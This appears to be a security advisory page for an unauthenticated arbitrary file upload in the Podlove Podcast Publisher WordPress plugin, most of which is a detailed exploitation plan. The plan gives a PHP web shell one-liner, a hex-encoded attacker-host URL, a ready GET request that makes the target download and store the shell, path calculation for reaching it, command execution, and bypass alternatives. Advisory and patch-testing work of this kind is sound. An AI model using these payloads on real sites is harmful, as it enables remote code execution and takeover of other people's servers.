Podlove Podcast Publisher <= 4.5.1 - Unauthenticated Arbitrary File Upload via podlove_image_cache_url Parameter
Description
The Podlove Podcast Publisher plugin for WordPress is vulnerable to arbitrary file uploads due to missing file type validation in the 'podlove_handle_cache_files' function in all versions up to, and including, 4.5.1. This makes it possible for unauthenticated attackers to upload arbitrary files on the affected site's server which may make remote code execution possible.
CVSS Vector Breakdown
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:HTechnical Details
<=4.5.1What Changed in the Fix
Changes introduced in v4.5.2
Source Code
WordPress.org SVN# Exploitation Research Plan: CVE-2026-13001 ## 1. Vulnerability Summary The **Podlove Podcast Publisher** plugin (<= 4.5.1) contains a critical unauthenticated arbitrary file upload vulnerability. The issue exists in the `podlove_handle_cache_files` function (called during plugin initialization) w…
Show full research plan
Exploitation Research Plan: CVE-2026-13001
1. Vulnerability Summary
The Podlove Podcast Publisher plugin (<= 4.5.1) contains a critical unauthenticated arbitrary file upload vulnerability. The issue exists in the podlove_handle_cache_files function (called during plugin initialization) which processes image caching requests. When the plugin is configured to handle image caching via query parameters (typically when permalinks are disabled or forced via PODLOVE_IMAGE_CACHE_FORCE_DYNAMIC_URL), it fetches a remote URL provided in the podlove_image_cache_url parameter and saves it locally. Because it lacks sufficient file type validation (failing to use the is_image check defined in lib/helper.php), an attacker can supply a URL to a PHP shell, which the plugin will download and store in the wp-content/cache/podlove/ directory.
2. Attack Vector Analysis
- Endpoint: Any WordPress frontend URL (e.g.,
/or/index.php). - Action: GET request.
- Vulnerable Parameters:
podlove_image_cache_url: A hex-encoded URL of the remote file to be "cached".podlove_file_name: A string used to generate the local filename and storage path.
- Preconditions: None. The handler is unauthenticated and runs early in the WordPress lifecycle.
- Authentication: Unauthenticated.
3. Code Flow
- Entry Point: The plugin likely hooks a handler (identified in the vulnerability description as
podlove_handle_cache_files) toinitorwp_loaded. - Parameter Extraction: The handler checks for the existence of
$_GET['podlove_image_cache_url']. - Hex Decoding: The value is decoded (reversing the
\Podlove\PHP\str2hexlogic seen inlib/model/image.php). - Image Object Initialization: A new
Podlove\Model\Imageobject is instantiated:// From lib/model/image.php public function __construct($url, $file_name = '') { $this->source_url = trim($url ?? ''); $this->file_name = sanitize_title($file_name); // ... $this->file_extension = $this->extract_file_extension(); $this->id = md5($url.$this->file_name); $id_directory = substr($this->id, 0, 2).'/'.substr($this->id, 2); $this->upload_basedir = self::cache_dir().$id_directory; } - Caching/Download: The handler (or the
Imageclass) attempts to fetchsource_url. - Vulnerable Sink: The fetched content is saved to
$this->upload_basedirusing the extension extracted from the source URL. Becausepodlove_handle_cache_filesomits theis_image()check (found inlib/helper.php), it will save.phpfiles if provided.
4. Nonce Acquisition Strategy
This endpoint is intended for public image serving and does not require a WordPress nonce. The vulnerability description confirms it is unauthenticated and triggered via query parameters.
5. Exploitation Strategy
The goal is to trick the server into downloading a remote PHP file and determine its final location on the filesystem.
Step 1: Prepare the Remote Payload
Host a simple PHP shell on a remote server accessible by the target (e.g., http://attacker.com/shell.php).
<?php echo shell_exec($_GET['cmd']); ?>
Step 2: Encode the Attack URL
The plugin expects the URL to be hex-encoded.
- URL:
http://attacker.com/shell.php - Hex:
687474703a2f2f61747461636b65722e636f6d2f7368656c6c2e706870
Step 3: Trigger the Download
Send a GET request to the target WordPress site. Include dummy width/height parameters to satisfy the logic in Image::url().
- Request:
GET /?podlove_image_cache_url=687474703a2f2f61747461636b65722e636f6d2f7368656c6c2e706870&podlove_width=100&podlove_height=100&podlove_file_name=pocshell HTTP/1.1 Host: target.local
Step 4: Calculate the Shell Path
The file is stored in wp-content/cache/podlove/.
- Calculate ID:
md5("http://attacker.com/shell.php" + "pocshell").- Example: If MD5 is
abc123def..., the directory isab/c123def.../.
- Example: If MD5 is
- Determine Filename: The plugin likely saves the original file or a "resized" version. Since the "original" is fetched first, it will be stored at:
wp-content/cache/podlove/[id_0_2]/[id_2_32]/original.[ext]OR[file_name].[ext].
Based onlib/model/image.phpline 125: The directory structure issubstr($this->id, 0, 2) . '/' . substr($this->id, 2).
Step 5: Execute Commands
Access the shell at:http://target.local/wp-content/cache/podlove/[id_0_2]/[id_2_32]/pocshell.php?cmd=id
6. Test Data Setup
- Plugin Installation: Install Podlove Podcast Publisher version 4.5.1.
- Remote Server: Start a simple HTTP server to host the payload:
python3 -m http.server 80(containingshell.php). - Permalinks: The exploit works best when permalinks are disabled or the dynamic URL parameters are used directly.
7. Expected Results
- The target server makes an outbound HTTP request to
http://attacker.com/shell.php. - The target server creates a directory under
wp-content/cache/podlove/. - A
.phpfile is written to that directory. - Accessing the calculated URL returns the output of the
idcommand.
8. Verification Steps
- Verify Outbound Request: Check the attacker server's access logs for the fetch.
- Verify File Creation via CLI:
ls -R /var/www/html/wp-content/cache/podlove/ - Check for PHP Execution: Confirm the HTTP response from the uploaded file contains the expected system command output.
9. Alternative Approaches
If podlove_file_name does not allow extensions or is sanitized too strictly, try to bypass the extract_file_extension logic by appending the extension to the source_url via query parameters (e.g., http://attacker.com/shell?fake=.php).
If the "original" file is not web-accessible, check for the "resized" file location. The Image class methods resized_file() and resized_url() (truncated in source) define where the processed versions are stored. Even if processing fails, the download of the source often occurs first.
Check if your site is affected.
Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.